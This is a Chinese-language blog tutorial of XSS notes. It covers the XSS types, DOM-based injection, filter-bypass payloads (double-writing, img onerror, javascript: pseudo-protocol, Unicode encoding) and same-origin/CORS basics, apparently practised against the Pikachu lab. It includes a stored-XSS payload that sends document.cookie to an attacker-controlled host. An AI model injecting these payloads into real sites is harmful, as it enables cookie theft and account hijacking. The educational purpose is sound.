XSS(跨站脚本攻击)

 XSS分类

反射型:

与服务端交互,数据一般不会存在数据库中,一次性,一般出现在查询类页面等

存储型:

 交互的数据存到数据库中了,一般出现在留言板,注册等页面

DOM型:

不与后台服务器产生数据交互,通过dom操作前端代码在浏览器上执行

DOM型XSS

将输入的内容加工到前端的a标签的href属性中时:因为script标签在a标签的内部不会执行,可以考虑构造一个鼠标左键点击事件

此时可以考虑用引号闭合href属性,然后再给a标签绑定一个事件

payload:#' οnclick="alert(123)"

常用 js代码

window.location.search   获取当前网址的查询参数 ?text=aaa

location.href    获取当前网址 http://192.168.31.203/pikachu/vul/xss/xss_dom_x.php?text=aaa

innerHTML   往标签中写入内容

document.getElementById("dom")   通过标签的id属性定位到标签

document.getElementById("dom").innerHTML = "<a href = "aaa">here</a>"

通过dom操作往标签中写入内容 

document.cookie    获取当前页面的cookie

window.onload   事件,浏览器加载完页面所有内容后,自动触发执行

window.onload = function(){
    document.getElenmentById("submit").click;
}

 所有页面代码加载完毕后,找到submit按钮,并自动点击提交

利用xss漏洞盗取cookie

找到一个存储型xss,如留言板,评论,注入payload:

        '"><script>document.location = "http://192.168.31.205/cookie.php?cookie=" + document.cookie;</script>

XSS绕过

1 大小写绕过

        后端代码过滤掉小写的script关键字

2 双写绕过

        后端采用str_ireplace函数对script标签进行了过滤替换,忽略大小写

        $message = str_ireplace("<script>", "", $_GET["message"]);  将匹配到的内容替换为空

       str_ireplace 函数只替换一次,可以通过双写来绕过:

        '"><sc<script>ript>alert(2);</scr<script>ipt>

3 换标签绕过

当script标签被过滤后,还可以考虑换标签,如img标签

        <img src="#" οnerrοr="alert(2)"/>

img标签的src属性不是正确的地址,会报错触发onerror的一个错误加载事件

4 编码绕过

 php后端如果采用了htmlspecialchars这个函数,会把一些特殊字符(&,',",<,>)转换为html实体

htmlspecialchars默认对双引号和<>进行html实体编码,可以考虑使用单引号绑定事件

        ' onclick = 'alert(2)'

htmlspecialchars加上ENT_QUOTES参数后,对单引号也进行html实体编码

a标签的href属性值为空时,刷新页面,为#时,不刷新页面,再url后加#,还可以写js的伪协议

        <a href = 'javascript:void(0)'>aaa</a>      不刷新页面

        <a href = 'javascript:alert(123)'>aaa</a>      伪协议后可直接写js代码

可以通过JavaScript伪协议绕过htmlspecialchars的防御

        javascript:alert('aaa')  引号作为伪协议中一个函数的内容时,不受htmlspecialchars的影响

可以对这个函数值进行js编码(unicode编码),浏览器会自动解析Unicode编码 

对伪协议中的函数名进行Unicode编码,可以被解析,如对javascript:alert('aaa')中的alert编码:

javascript:\u0061\u006c\u0065\u0072\u0074('aaa'),可以被解析,对伪协议javascript:进行Unicode编码,不能被解析

 document.write('js编码') 可以解析内容中的js编码,将文件写先解析再输入到html页面上b

5  XSS之JS输出

前端输入的数据被输出到后端的script标签中了,可以考虑闭合script标签

        '</script><script>alert(3);</script>

6 httponly绕过

cookie的httponly:true属性,不允许js操作此cookie,即document.cookie无法再获取此cookie 

php设置cookie的httponly属性(第七个位置 )

setcookie('ant[uname]', $_POST['username'], time()+3600, NULL, NULL, NULL,TRUE);

可以通过js代码获取浏览器保存的密码

同源和跨域

同源:协议,域名,端口 相同的页面之间可以互相请求数据并正常获取响应数据,浏览器的同源机制防止恶意请求网站资源 

不受浏览器同源机制的影响的标签:

        script标签的src属性

        link标签的href属性           css

        img标签的src属性 

        iframe标签的src属性       任意资源

        a标签的href属性

php中设置允许被跨域访问:

header("Access-Control-Allow-Orign:*");       cors跨域

  • 43
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值